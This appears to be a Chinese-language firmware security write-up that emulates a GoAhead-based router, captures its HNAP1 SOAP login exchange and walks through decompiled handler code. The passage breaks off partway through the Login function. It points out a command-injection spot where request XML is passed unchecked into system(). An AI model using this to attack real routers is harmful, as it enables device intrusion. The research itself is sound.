1.用FirmAE启动固件

image-20260518122936962

2.看到可以正常模拟固件,用nmap扫一下端口,看看开启了那些服务

1
nmap -T4 -Pn 192.168.0.1  #-T4:快速扫描 -Pn:跳过 ping 检测(路由器禁 ping,必须加)

image-20260518123003958

1
2
3
53/tcp open  domain   → DNS服务
80/tcp open http → Web管理后台(goahead)
看到只开启了http服务和DNS服务

3.利用分离出来得文件,进行启动项分析

image-20260518132251302

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
#!/bin/sh
#设置回环地址
ifconfig lo 127.0.0.1
#定义变量
CINIT=1
#定义路由器名
hostname rlx-linux
#挂载系统目录
mount -t proc proc /proc
#挂载内存文件系统,重启就清空
mount -t ramfs ramfs /var
if [ -d "/hw_setting" ];then
mount -t yaffs2 -o tags-ecc-off -o inband-tags /dev/mtdblock1 /hw_setting
fi
#创建运行目录
mkdir /var/tmp
mkdir /var/web
mkdir /var/log
mkdir /var/run
mkdir /var/lock
mkdir /var/system
mkdir /var/dnrd
mkdir /var/avahi
mkdir /var/dbus-1
mkdir /var/run/dbus
mkdir /var/lib
mkdir /var/lib/misc
mkdir /var/home
mkdir /var/root
mkdir /var/tmp/net
###for tr069
mkdir /var/cwmp_default
mkdir /var/cwmp_config

if [ ! -f /var/cwmp_default/DefaultCwmpNotify.txt ]; then
cp -p /etc/DefaultCwmpNotify.txt /var/cwmp_default/DefaultCwmpNotify.txt 2>/dev/null
fi

##For miniigd linuxigd路由器内置UPnP服务程序让内网设备(电脑、游戏机、摄像头、NAS、下载机)自动穿透路由器 NAT,实现外网直接访问。允许外网主动连内网设备
mkdir /var/linuxigd
cp /etc/tmp/pics* /var/linuxigd 2>/dev/null

##For pptp 给 PPPoE 拨号 用的目录。
mkdir /var/ppp
mkdir /var/ppp/peers

#smbd 给 Samba 共享、USB 设备 用。
mkdir /var/config
mkdir /var/private
mkdir /var/tmp/usb

#snmpd 给 SNMP 网络管理 用。
mkdir /var/net-snmp

cp /bin/pppoe.sh /var/ppp/true
echo "#!/bin/sh" > /var/ppp/true
#echo "PASS" >> /var/ppp/true

#for console login 把密码模板文件复制到运行目录。
cp /etc/shadow.sample /var/shadow

#for weave
cp /etc/avahi-daemon.conf /var/avahi

#extact web pages
cd /web
#flash extr /web
cd /
# DHCP 客户端 / 服务端 目录。给每个网口创建 DHCP 配置脚本。
mkdir -p /var/udhcpc
mkdir -p /var/udhcpd
cp /bin/init.sh /var/udhcpc/eth0.deconfig
echo " " > /var/udhcpc/eth0.deconfig
cp /bin/init.sh /var/udhcpc/eth1.deconfig
echo " " > /var/udhcpc/eth1.deconfig
cp /bin/init.sh /var/udhcpc/br0.deconfig
echo " " > /var/udhcpc/br0.deconfig
cp /bin/init.sh /var/udhcpc/wlan0.deconfig
echo " " > /var/udhcpc/wlan0.deconfig
#如果变量 CINIT=1,就执行 startup.sh 启动脚本。
if [ "$CINIT" = 1 ]; then
startup.sh
fi

# for wapi certs related 给 WAPI 无线证书 创建目录。
mkdir /var/myca
# wapi cert(must done before init.sh)
cp -rf /usr/local/ssl/* /var/myca/ 2>/dev/null
# loadWapiFiles >/dev/null 2>&1

# for wireless client mode 802.1x
mkdir /var/1x
cp -rf /usr/1x/* /var/1x/ 2>/dev/null
mkdir /var/openvpn #VPN 目录。
cp -rf /usr/share/openvpn/* /var/openvpn 2>/dev/null

# Start system script
init.sh gw all #执行系统初始化脚本

# modify dst-cache setting
echo "24576" > /proc/sys/net/ipv4/route/max_size
echo "180" > /proc/sys/net/ipv4/route/gc_thresh
echo 20 > /proc/sys/net/ipv4/route/gc_elasticity
# echo 35 > /proc/sys/net/ipv4/route/gc_interval
# echo 60 > /proc/sys/net/ipv4/route/secret_interval
# echo 10 > /proc/sys/net/ipv4/route/gc_timeout

# echo "4096" > /proc/sys/net/nf_conntrack_max
echo "12288" > /proc/sys/net/netfilter/nf_conntrack_max
echo "600" > /proc/sys/net/ipv4/netfilter/ip_conntrack_tcp_timeout_established
echo "20" > /proc/sys/net/ipv4/netfilter/ip_conntrack_tcp_timeout_time_wait
echo "20" > /proc/sys/net/ipv4/netfilter/ip_conntrack_tcp_timeout_close
echo "90" > /proc/sys/net/ipv4/netfilter/ip_conntrack_udp_timeout
echo "120" > /proc/sys/net/ipv4/netfilter/ip_conntrack_udp_timeout_stream
echo "90" > /proc/sys/net/ipv4/netfilter/ip_conntrack_generic_timeout
# echo "1048576" > /proc/sys/net/ipv4/rt_cache_rebuild_count
echo "32" > /proc/sys/net/netfilter/nf_conntrack_expect_max

# modify IRQ Affinity setting
echo "3" > /proc/irq/33/smp_affinity

#echo 1 > /proc/sys/net/ipv4/ip_forward #don't enable ip_forward before set MASQUERADE
#echo 2048 > /proc/sys/net/core/hot_list_length

# start web server
#如果有看门狗程序,就启动 看门狗(死机自动重启)。
ls /bin/watchdog > /dev/null && watchdog 1000&
#boa
#启动web服务
goahead &

#Turn off the power led of orange关闭橙色电源灯。
echo "29" > /sys/class/gpio/export
echo "out" > /sys/class/gpio/gpio29/direction
echo "1" > /sys/class/gpio/gpio29/value
#Turn on the power led of green打开绿色电源灯。
echo "30" > /sys/class/gpio/export
echo "out" > /sys/class/gpio/gpio30/direction
echo "0" > /sys/class/gpio/gpio30/value

cp /etc/passwd_orig /var/passwd
cp /etc/group_orig /var/group
MODE=`flash get HW_FACTORY_MODE`
if [ "$MODE" = "HW_FACTORY_MODE=1" ];then
telnetd&
fi
speedcheck&

进入后台登录,跳过引导,发现要输入密码,随便输入密码

image-20260519103019559

发现发送了两个post请求包,通过网页查看一下login.js的代码

image-20260519103112783

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
function doLogin(ifLogin_Password,ifLogin_Captcha) //ifLogin_Password:输入的密码 ifLogin_Captcha:验证码
{
var PrivateKey = null; //定义私钥=null

var loginObj = $.Deferred(); //loginObj登录对象,loginObj 用来控制登录的成功 / 失败 / 等待状态
// 创建三个对象,用来发送、接收登录数据
var soapAction = new SOAPAction();// 发送请求工具
var setLogin = new SOAPLogin();// 要发出去的登录数据
var getLogin = new SOAPLoginResponse();// 服务器返回的数据
setLogin.Action = "request"; //请求登录
setLogin.Username = "Admin"; //用户名:Admin
setLogin.Captcha = ifLogin_Captcha;// 把输入的验证码放进去

// Login request 登录请求
// 发送 SOAP 登录请求(发给 /HNAP1 接口)SOAP 就是一个套了固定 XML 信封的正式公文格式,用来前后端 / 系统之间传数据
soapAction.sendSOAPAction("Login", setLogin, getLogin).done(function(obj)
{// 如果服务器返回了 Challenge、Cookie、PublicKey
if (obj.Challenge != null || obj.Cookie != null || obj.PublicKey != null)
{//开始加密密码
PrivateKey = hex_hmac_md5(obj.PublicKey + ifLogin_Password, obj.Challenge);//PublicKey + 你输入的密码,再和 Challenge 做 HMAC-MD5 加密
PrivateKey = PrivateKey.toUpperCase();//转大写
// Set Cookie
$.cookie('uid', obj.Cookie, { path: '/' });// 把服务器返回的 Cookie 存到浏览器
// Storage data in DOM
/*try {
localStorage.setItem("PrivateKey", PrivateKey);
} catch (e) {
alert("您的浏览器属于无痕浏览模式,无法进行正常配置,请您将您的浏览器切换成非无痕浏览模式再进行登录");
return ;
}*/
$.cookie('PrivateKey', PrivateKey, {path: '/' }); // 把加密后的 PrivateKey 也存到浏览器 Cookie


var Login_Passwd = hex_hmac_md5(PrivateKey, obj.Challenge); // 再加密一次:
Login_Passwd = Login_Passwd.toUpperCase();// 转大写

//rewrite login request
setLogin.Action = "login"; //执行登录
setLogin.LoginPassword = Login_Passwd;//Login_Passwd;放入【双重加密后的密码】
setLogin.Captcha = ifLogin_Captcha;// 放入验证码

// Do Login to DUT
var soapAction2 = new SOAPAction();// 创建第二次请求
soapAction2.sendSOAPAction("Login", setLogin, null).done(function(obj2)// 发送真正的登录请求
{
//for compatibility 如果设备返回失败 → 登录失败
if(obj2.LoginResult == "FAILED")
{
loginObj.reject();
}
else
{
loginObj.resolve();//登录成功
}
})
// 网络失败 → 登录失败
.fail(function(){
loginObj.reject();
});
}
else
{// 如果服务器没返回必要参数 → 登录失败
loginObj.reject();
}
})// 第一次请求失败 → 登录失败
.fail(function(){
loginObj.reject();
});
return loginObj.promise();// 返回登录结果
}

查看第一个包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
Request:
POST /HNAP1/ HTTP/1.1 POST请求 调用路由器远程接口HANP1 网络协议版本HTTP/1.1

Host: 192.168.0.1 #路由器IP

Content-Length: 442 #发送数据长度

Accept: */* #接收任何格式的数据

X-Requested-With: XMLHttpRequest #异步请求

HNAP_AUTH: 37885A69EB524119B79C1FA4DE28D84D 1779159007 #HNAP 认证字段

SOAPAction: "http://purenetworks.com/HNAP1/Login" #调用的请求接口

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36 #浏览器标识

Content-Type: text/xml; charset=UTF-8 #发送的数据格式:XML

Origin: http://192.168.0.1 #请求来自:路由器网页

Referer: http://192.168.0.1/Login.html #来自登录页面

Accept-Encoding: gzip, deflate, br #支持压缩传输

Accept-Language: en-US,en;q=0.9 #语言:英文

Cookie: uid=NEy5R3U29u; PrivateKey=0B8C9685FA9BA82CF1F2481BE1EF546F #浏览器存的临时登录信息

Connection: close #请求完断开连接


#请求体
# XML 数据的开头声明
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<Login xmlns="http://purenetworks.com/HNAP1/"> #执行:登录(Login)操作
<Action>request</Action> #本次动作:request(请求)
<Username>Admin</Username> #用户名:Admin
<LoginPassword></LoginPassword> #密码:空
<Captcha></Captcha> #验证码:空
<PrivateLogin>LoginPassword</PrivateLogin> #使用密码登录方式
</Login>
</soap:Body>
</soap:Envelope>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
Respose:
HTTP/1.0 200 Data follows #状态200 请求成功

Server: GoAhead-Webs #路由器用的网页服务器:GoAhead

Date: Sat Oct 31 18:23:23 2020 #路由器时间

Pragma: no-cache #不要缓存,每次都要新请求

Cache-Control: no-cache

Content-Type: text/html #返回内容格式

Location:



<?xml version="1.0" encoding="utf-8"?><SOAP-ENV:Envelope
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<LoginResponse xmlns="http://purenetworks.com/HNAP1/"> #登录接口的返回结果
<LoginResult>OK</LoginResult> #请求成功
<Challenge>fLmejGKE9mBWbKbeiDyx</Challenge> #随机挑战码
<Cookie>jCqPD31RF0</Cookie> #会话 ID
<PublicKey>Bmdp3Zye4a17wFiak3dj</PublicKey> #公钥
</LoginResponse>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>



第一个包响应了Challenge,Cookie,PublicKey三个值,而再次回到前端js代码的逻辑,进行对密码进行加密,会利用响应中的Challenge和(PublicKey+我输入的密码)进行一次哈希运算,再将运算结果与challenge再一次哈希,得到的才是最终的登录密码,避免了密码的明文传输,基本能做到一次一密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
第二个包:请求
POST /HNAP1/ HTTP/1.1

Host: 192.168.0.1

Content-Length: 472

Accept: */*

X-Requested-With: XMLHttpRequest

HNAP_AUTH: B396173CA541F5E33AB9CE69A8D6CBA5 1779159007

SOAPAction: "http://purenetworks.com/HNAP1/Login"

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36

Content-Type: text/xml; charset=UTF-8

Origin: http://192.168.0.1

Referer: http://192.168.0.1/Login.html

Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;q=0.9

Cookie: uid=jCqPD31RF0; PrivateKey=A21E13888D0B7C2D1406AF4401F40256

Connection: close



<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<Login xmlns="http://purenetworks.com/HNAP1/">
<Action>login</Action>
<Username>Admin</Username><LoginPassword>07542175644CA3D190039D1A0D905422</LoginPassword>
<Captcha></Captcha>
<PrivateLogin>LoginPassword</PrivateLogin>
</Login>
</soap:Body>
</soap:Envelope>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
响应
HTTP/1.0 200 Data follows

Server: GoAhead-Webs

Date: Sat Oct 31 18:23:23 2020

Pragma: no-cache

Cache-Control: no-cache

Content-Type: text/html

Location:



<?xml version="1.0" encoding="utf-8"?><SOAP-ENV:Envelope
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<LoginResponse xmlns="http://purenetworks.com/HNAP1/">
<LoginResult>FAILED</LoginResult>
</LoginResponse>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>



前端的处理逻辑,大概是这么个情况,同时可以看到都是POST请求访问的HNAP1,通过ida查看一下,先看一下调用函数的处理逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int __fastcall sub_40B1F4(int *a1, int *a2, int a3, int a4, int a5)
// 作用:注册一个网页接口路由(URL + 处理函数 + 权限)
// 5个参数:
// a1 = URL路径(如 /HNAP1)
// a2 = 请求方法(GET/POST,传0则用默认GET)
// a3 = 保留参数
// a4 = 处理函数指针
// a5 = 权限标记
{
_DWORD *v6; // [sp+1Ch] [+1Ch]

dword_58D360 = sub_403754(dword_58D360, 24 * (dword_58D364 + 1)); // 每条路由占24字节,现在需要多存一条,所以总大小 = 24*(数量+1) 扩容路由表内存
if ( !dword_58D360 ) // 如果内存扩容失败,返回 -1 表示错误
return -1;
v6 = (_DWORD *)(dword_58D360 + 24 * dword_58D364++); // 计算出新路由条目应该存放的位置 地址 = 路由表起始地址 + 24字节 * 当前路由条数
memset(v6, 0, 24); // 把新路由条目清空(24字节全部填0)
v6[2] = sub_4036C4(a1);// 把 URL 路径(a1)复制到内存中
v6[3] = strlen(v6[2]);// 计算 URL 字符串的长度
if ( a2 )// 如果 a2 不为空(传入了 GET 或 POST)
v6[1] = sub_4036C4(a2);// 就把传入的方法复制到内存
else
v6[1] = sub_4036C4(&dword_4A4430);// 如果 a2 = 0,使用默认方法 "GET"
*v6 = a4; // 把处理函数(a4)存入路由条目第 0 个位置
v6[4] = a3; // 把保留参数 a3 存入路由条目第 4 个位置
v6[5] = a5; // 把权限标记 a5 存入路由条目第 5 个位置
qsort(dword_58D360, dword_58D364, 24, sub_40B444);// 对所有路由表进行排序
return 0; // 注册成功,返回 0
}

路由表的完整作用(客户端访问不同 URL 时,通过路由表匹配到对应路由记录,从而调用对应的处理函数完成业务处理。匹配到处理函数前,先校验权限,有权限才调用,没权限直接拒绝。)

  1. 路由器开机时

    sub_40B1F4 一条条注册:

    URL路径 + 请求方法 + 处理函数 + 权限

    存进路由表(就是你说的写菜单)。

  2. 客户端(浏览器)发来 HTTP 请求

    访问 /HNAP1/goform/cgi-bin/EXCU_SHELL 等 URL。

  3. Web 服务器核心逻辑

  • 拿到客户端要访问的 URL
  • 遍历路由表,匹配对应的路由记录
  • 取出这条记录里存的处理函数指针
  • 直接调用这个函数,处理这次请求
1
1种方式是我们之前访问的,通过抓包的方式,知道处理的url路径,和处理函数,另一种就是通过按钮一步一步找到处理函数

1.通过元素查找,找到相应的按钮处理函数

image-20260519122258063

2.通过grep查找定义函数的位置

image-20260519122348327

3.找到处理函数,接着追踪

image-20260519122644637

4.也是通过grep函数 查找

image-20260519122742148

5,接着追踪,找到发送请求函数sendSOAPAction

image-20260519123736877

6.接着对发送请求函数,进行追踪,找到定义的地方,找到处理接口HANP1

image-20260519123547530

image-20260519124033129

接下来就可以开始分析,提交过去的HNAP的处理函数啦sub_42383C

image-20260519124711573

第三种,通过处理函数追踪动作表,在动作表种查找相应动作

image-20260519130547592

image-20260519130639905

参数 含义
a1 Webs 结构体(HTTP 头、Cookie、SOAPAction)
a2 socket(用不到)
a3 POST/GET
a4 URL(/HNAP1)
a5 POST 数据指针
a6 数据长度
a7 完整 XML 请求数据(用户名、密码都在这里)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
//分析处理函数
int __fastcall sub_42383C(int a1, int a2, int a3, int a4, int a5, int a6, const char *a7)
{
int v8; // [sp+34h] [+34h]
int v9; // [sp+38h] [+38h]
int v10; // [sp+40h] [+40h]
char v11[104]; // [sp+4Ch] [+4Ch] BYREF
int v12; // [sp+B4h] [+B4h] BYREF
_BYTE v13[5000]; // [sp+B8h] [+B8h] BYREF

v10 = 0;
strcpy(
v11,
"HTTP/1.0 200 OK\r\nContent-Type: text/html; charset=utf-8\r\nConnection: close\r\nCache-Control: private\r\n\r\n"); //http响应头
v9 = 0;
v12 = 0;
dword_58E080 = a1;
//申请内存操作
v8 = malloc(10240);
if ( v8 )
{
memset(v8, 0, 10240);
v9 = malloc(51200);
if ( v9 )
{
memset(v9, 0, 51200);
if ( *(_DWORD *)(a1 + 1316) )
{
apmib_get(7011, &v12);
for ( dword_58E084 = (int)&off_58C560; // 起点:动作表起始地址 漏洞点:只要满足动作表中的动作
*(_DWORD *)dword_58E084; // 条件:表项不为空就继续
dword_58E084 += 8 // 步进:每次+8字节(跳到下一个表项)
) //遍历HNAP动作表,匹配前端数据
{
if ( strstr(*(_DWORD *)(a1 + 1316), *(_DWORD *)dword_58E084) ) //匹配动作 漏洞匹配成功动作,就会执行system
{
memset(v13, 0, sizeof(v13));
snprintf(v13, 4999, "echo '%s' >/var/hnaplog", a7); //将拼接号的字符串给到v13
system(v13);//执行v13,输出到日志中
printf("wp->hnapfunc===========>%s\n", *(const char **)(a1 + 1316));//打印当前接口执行的操作
if ( !strncmp(*(_DWORD *)dword_58E084, "GetLocalMac", 11) )//判断当前动作是不是获取mac地址
{
memset(&qword_58E060, 0, 32);
strncpy(&qword_58E060, a1 + 48, 32);//保存信息
}
if ( (*(int (__fastcall **)(const char *))(dword_58E084 + 4))(a7) )
break;
}
}
}
else
{
sub_432D28(a7);
}
}
else
{
printf("websHNAPFuncHandler: not enough memory (1)\n!");
v10 = -1;
}
}
else
{
printf("websHNAPFuncHandler: not enough memory (0)\n!");//打印内存不足
v10 = -1;
}
free(v8);
free(v9);
return v10;
}

接下来我们就可以通过动作表,去看login函数

image-20260519133430120

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
int __fastcall sub_42ACB0(int a1, int a2, int a3)
{
int v4; // $a1
int v5; // $a2
int v6; // $a1
int v7; // $a2
int v8; // $a1
int v9; // $a2
int v10; // $a1
int v11; // $a2
int v12; // $a1
int v13; // $a2
int v14; // $a1
int v15; // $a2
int v16; // $a1
int v17; // $a2
int v18; // $a1
int v19; // $a2
int v20; // $a1
int v21; // $a2
int v22; // $a1
int v23; // $a2
int v24; // $a1
int v25; // $a2
int v26; // $a1
int v27; // $a2
int v28; // $v0
int v29; // $a1
int v30; // $a2
int v31; // $a1
int v32; // $a2
int v33; // $a1
int v34; // $a2
int v35; // $a1
int v36; // $a2
int v37; // $a1
int v38; // $a2
int j; // [sp+20h] [+20h]
int v40; // [sp+24h] [+24h]
const char *v41; // [sp+28h] [+28h]
const char *v42; // [sp+2Ch] [+2Ch]
int v43; // [sp+30h] [+30h]
int v44; // [sp+34h] [+34h]
int v45; // [sp+38h] [+38h]
int v46; // [sp+3Ch] [+3Ch]
int v47; // [sp+40h] [+40h]
int v48; // [sp+44h] [+44h]
int v49; // [sp+48h] [+48h]
int v50; // [sp+4Ch] [+4Ch]
int i; // [sp+64h] [+64h]
int v52; // [sp+68h] [+68h]
const char *Text; // [sp+6Ch] [+6Ch]
int Element; // [sp+70h] [+70h]
int v55; // [sp+74h] [+74h]
int v56; // [sp+78h] [+78h]
int v57; // [sp+7Ch] [+7Ch]
int String; // [sp+80h] [+80h]
int v59; // [sp+84h] [+84h] BYREF
__int64 v60; // [sp+88h] [+88h] BYREF
__int16 v61; // [sp+90h] [+90h]
char v62[64]; // [sp+94h] [+94h] BYREF
char v63[204]; // [sp+D4h] [+D4h] BYREF

if ( !a1 ) //判断前段是否传入xml数据
{
printf("%s:Input String=NULL\n", "Login");
return 0;
}
v57 = 0;
v56 = 0;
v55 = 0;
Element = 0;
Text = 0;
v52 = 0;
i = 0;
v50 = 0;
v49 = 0;
v48 = 0;
v47 = 0;
v46 = 0;
v45 = 0;
v44 = 0;
v43 = 0;
puts("##Login", a2, a3); //打印标记进入登录函数
String = mxmlLoadString(0, a1, 0);//第三方xml库,作用是将前端穿的xml字符串(a1)解析成可操作的xml树结构存到String中
if ( !String )//判断解析是否成功
{
puts("ERROR! tree is NULL", v4, v5);
return 0;
}
Element = mxmlFindElement(String, String, "soap:Envelope", 0, 0, 1);//解析xml,读取登录动作Action,先读最外层的标签《soap:Envelope》
if ( !Element )//如果没有读到就跳到错误分支,退出
goto LABEL_108;
Element = mxmlFindElement(Element, String, "Action", 0, 0, 1);//接着从Elvelope中,找<Action>标签
Text = (const char *)mxmlGetText(Element, 0);//读取Action里的文本,存到text中
if ( Text && !strcmp(Text, "request") )//两步请求,登录第一步,下发随机数
{
v42 = "OK"; //返回结果
memset(byte_58E0D0, 0, 21);
memset(byte_58E0E8, 0, sizeof(byte_58E0E8));
memset(byte_58E0F4, 0, 21);
sub_426950(byte_58E0D0, 20);//生成随机字符串
sub_426950(byte_58E0E8, 10);
sub_426950(byte_58E0F4, 20);
v50 = mxmlNewXML("1.0");//新建xml文档,版本1.0,将指针给到v50
if ( v50 )
{
v49 = mxmlNewElement(v50, "SOAP-ENV:Envelope");//内部构建根节点SOAP-ENV:Envelope
if ( v49 )
{
mxmlElementSetAttr(v49, "xmlns:SOAP-ENV", "http://schemas.xmlsoap.org/soap/envelope/");
mxmlElementSetAttr(v49, "SOAP-ENV:encodingStyle", "http://schemas.xmlsoap.org/soap/encoding/");//接着构建空间属性,编码格式属性
v48 = mxmlNewElement(v49, "SOAP-ENV:Body");//创建字节点SOAP-ENV:Body
if ( v48 )
{
v47 = mxmlNewElement(v48, "LoginResponse");//创建子节点LoginResponse
if ( v47 )
{
mxmlElementSetAttr(v47, "xmlns", "http://purenetworks.com/HNAP1/");//子节点中填充数据
v46 = mxmlNewElement(v47, "LoginResult");//接着创建子节点
if ( v46 )
{
mxmlNewText(v46, 0, v42);//给LoginResult节点写OK
v45 = mxmlNewElement(v47, "Challenge");//创建子节点
if ( v45 )
{
mxmlNewText(v45, 0, byte_58E0D0);//将随机数写入
v44 = mxmlNewElement(v47, "Cookie");//接着创建子节点
if ( v44 )
{
mxmlNewText(v44, 0, byte_58E0E8);//将随机数写入
v43 = mxmlNewElement(v47, "PublicKey");//接着创建子节点
if ( v43 )
{
mxmlNewText(v43, 0, byte_58E0F4);//同样写入随机数
v52 = mxmlSaveAllocString(v50, 0);//将构建好的xml文档,转为字符串,存入v52
if ( v52 )
{
sub_41ED70(dword_58E080, 200, v52, &dword_4A7F1C);//将xml字符串发送给前端
free(v52);//释放内存
}
mxmlDelete(v50);//摧毁xml文档
mxmlDelete(String);//销毁前端传入的 XML 解析树。
return 0;
}
else//节点创建失败
{
mxmlDelete(v50);
puts("PublicKey_xml=NULL", v18, v19);//打印失败日志,释放内存并退出
return 0;
}
}
else
{
mxmlDelete(v50);
puts("Cookie_xml=NULL", v16, v17);
return 0;
}
}
else
{
mxmlDelete(v50);
puts("Challenge_xml=NULL", v14, v15);
return 0;
}
}
else
{
mxmlDelete(v50);
puts("LoginResult_xml=NULL", v12, v13);
return 0;
}
}
else
{
mxmlDelete(v50);
puts("LoginResponse_xml=NULL", v10, v11);
return 0;
}
}
else
{
mxmlDelete(v50);
puts("body=NULL", v8, v9);
return 0;
}
}
else
{
mxmlDelete(v50);
puts("soap_env=NULL", v6, v7);
return 0;
}
}
else
{
printf("Create new xml erro!!!");
return 0;
}
}
if ( strcmp(Text, "login") )//密码校验
goto LABEL_108;
memset(v63, 0, 200);
v41 = "SUCCESS";//预设密码校验成功返回值
v40 = 0;
v59 = 0;
apmib_get(7010, &v59);//读取路由器配置项 7010,存入 v59(密码开关标记)。
if ( v59 != 1 )
{
LABEL_63:
apmib_get(183, byte_58E3F4);//读取路由器配置项 183,存入 byte_58E3F4(管理员密文密码)。
memset(v62, 0, sizeof(v62));
sub_426570(byte_58E3F4, v62);//调用解密函数,将密文密码解密成明文,存入v62
fprintf(stderr, "QSK_DEBUG:%s ---> %s\n", byte_58E3F4, v62);//输出日志
sprintf(v63, "%s%s", byte_58E0F4, v62);//PublicKey + 明文密码,存入 v63
sub_4266E8(byte_58E0D0, v63, byte_58E10C);//调用 HMAC‑MD5 加密函数,用 Challenge + 拼接串,第一次加密,存入 byte_58E10C。
sub_4266E8(byte_58E0D0, byte_58E10C, byte_58E3C4);//再次加密,得到路由器计算的正确加密密码,存入 byte_58E3C4。
fprintf(//打印调试日志,输出 Challenge、拼接串、中间密钥、正确加密密码。
stderr,
"QSK_DEBUG:Challenge=%s, tempbuf=%s, PrivateKey=%s, loginpass=%s\n",
byte_58E0D0,
v63,
byte_58E10C,
byte_58E3C4);
if ( byte_58D418 )
{
Element = mxmlFindElement(Element, String, "LoginPassword", 0, 0, 1);//查找前端 XML 里的<LoginPassword>节点,存 Element。
if ( !Element )//找不到 LoginPassword 节点,释放内存,返回。
{
mxmlDelete(v50);
puts("state=NULL", v29, v30);
return 0;
}
Text = (const char *)mxmlGetText(Element, 0);//读取前端传来的加密密码,存入 Text。
if ( !Text )//前端加密密码为空,打印日志,释放内存,返回。
{
printf("%s======%d\n", "Login", 431);
mxmlDelete(String);
return 0;
}
printf("value=%s\n", Text);//打印前端传的加密密码。
printf("LoginPassword=%s\n", byte_58E3C4);//打印路由器计算的正确加密密码。
fprintf(stderr, "QSK_DEBUG:%s, %s, %s\n", "Login", Text, byte_58E3C4);//打印调试日志。
if ( !strcmp(Text, byte_58E3C4) )//前端加密密码 == 路由器正确加密密码 → 密码正确。
{//新建返回 XML,失败则跳转。
v50 = mxmlNewXML("1.0");
if ( !v50 )
goto LABEL_96;
v49 = mxmlNewElement(v50, "SOAP-ENV:Envelope");
if ( !v49 )
goto LABEL_98;
mxmlElementSetAttr(v49, "xmlns:SOAP-ENV", "http://schemas.xmlsoap.org/soap/envelope/");
